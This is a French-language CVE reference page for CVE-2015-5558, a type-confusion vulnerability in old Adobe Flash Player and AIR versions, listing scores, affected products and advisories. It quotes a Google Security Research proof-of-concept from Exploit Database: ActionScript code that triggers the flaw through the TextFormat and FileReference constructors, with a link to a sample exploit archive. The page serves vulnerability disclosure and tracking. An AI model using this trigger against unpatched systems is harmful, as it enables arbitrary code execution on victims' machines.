CVE-2015-5558 : Détail

CVE-2015-5558

55.41%V4
Network
2015-08-13
23h00 +00:00
2018-01-04
18h57 +00:00
CVE.org
NVD
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Descriptions du CVE

Adobe Flash Player before 18.0.0.232 on Windows and OS X and before 11.2.202.508 on Linux, Adobe AIR before 18.0.0.199, Adobe AIR SDK before 18.0.0.199, and Adobe AIR SDK & Compiler before 18.0.0.199 allow attackers to execute arbitrary code by leveraging an unspecified "type confusion," a different vulnerability than CVE-2015-5554, CVE-2015-5555, and CVE-2015-5562.

Informations du CVE

Métriques

Métriques Score Gravité CVSS Vecteur Source
V2 10 AV:N/AC:L/Au:N/C:C/I:C/A:C nvd@nist.gov

EPSS

EPSS est un modèle de notation qui prédit la probabilité qu'une vulnérabilité soit exploitée.

Score EPSS

Le modèle EPSS produit un score de probabilité compris entre 0 et 1 (0 et 100 %). Plus la note est élevée, plus la probabilité qu'une vulnérabilité soit exploitée est grande.

Percentile EPSS

Le percentile est utilisé pour classer les CVE en fonction de leur score EPSS. Par exemple, une CVE dans le 95e percentile selon son score EPSS est plus susceptible d'être exploitée que 95 % des autres CVE. Ainsi, le percentile sert à comparer le score EPSS d'une CVE par rapport à d'autres CVE.
EPSS First.org

Informations sur l'Exploit

Exploit Database EDB-ID : 37878

Date de publication : 2015-08-18 22h00 +00:00
Auteur : Google Security Research
EDB Vérifié : Yes

Source: https://code.google.com/p/google-security-research/issues/detail?id=422&can=1&q=label%3AProduct-Flash%20modified-after%3A2015%2F8%2F17&sort=id There is a type confusion issue in the TextFormat constructor that is reachable because the FileReference constructor does not verify that the incoming object is of type Object (it only checks that the object is not native backed). The TextFormat constructor first sets a new object to type TextFormat, and then calls into script several times before setting the native backing object. If one of these script calls then calls into the FileReference constructor, the object can be set to type FileReference, and then the native object will be set to the TextFormat, leading to type confusion. A PoC is as follows: In the main SWF: var a = new subfr(); var allTypes:Array = new Array(); var imageTypes:Object = new Object(); imageTypes.description = "Images (*.jpg, *.jpeg, *.gif, *.png)"; imageTypes.extension = "*.jpg; *.jpeg; *.gif; *.png"; allTypes.push(imageTypes); var textTypes:Object = new Object(); textTypes.description = "Text Files (*.txt, *.rtf)"; textTypes.extension = "*.txt;*.rtf"; allTypes.push(textTypes); var f = new flash.net.FileReference(); f.cancel.call(a); Defining subfr: class subfr extends Object{ public function subfr(){ var n = {valueOf : func}; this.valueOf = func; this.toString = func; this.__proto__ = {}; this.__proto__.__constructor__ = TextFormat; super(this); } function func(){ this.__proto__ = {}; this.__proto__.__constructor__ = flash.net.FileReference; super(); return "natalie"; } } A sample SWF and fla are attached. Proof of Concept: https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/37878.zip

Products Mentioned

Configuraton 0

Adobe>>Flash_player >> Version To (including) 11.2.202.491

Linux>>Linux_kernel >> Version -

Configuraton 0

Adobe>>Flash_player >> Version To (including) 18.0.0.209

Apple>>Mac_os_x >> Version -

Microsoft>>Windows >> Version -

Configuraton 0

Adobe>>Air >> Version To (including) 18.0.0.180

Adobe>>Air_sdk >> Version To (including) 18.0.0.180

Adobe>>Air_sdk_\&_compiler >> Version To (including) 18.0.0.180

Références

https://security.gentoo.org/glsa/201508-01
Tags : vendor-advisory, x_refsource_GENTOO
http://www.securityfocus.com/bid/76287
Tags : vdb-entry, x_refsource_BID
http://www.securitytracker.com/id/1033235
Tags : vdb-entry, x_refsource_SECTRACK
http://rhn.redhat.com/errata/RHSA-2015-1603.html
Tags : vendor-advisory, x_refsource_REDHAT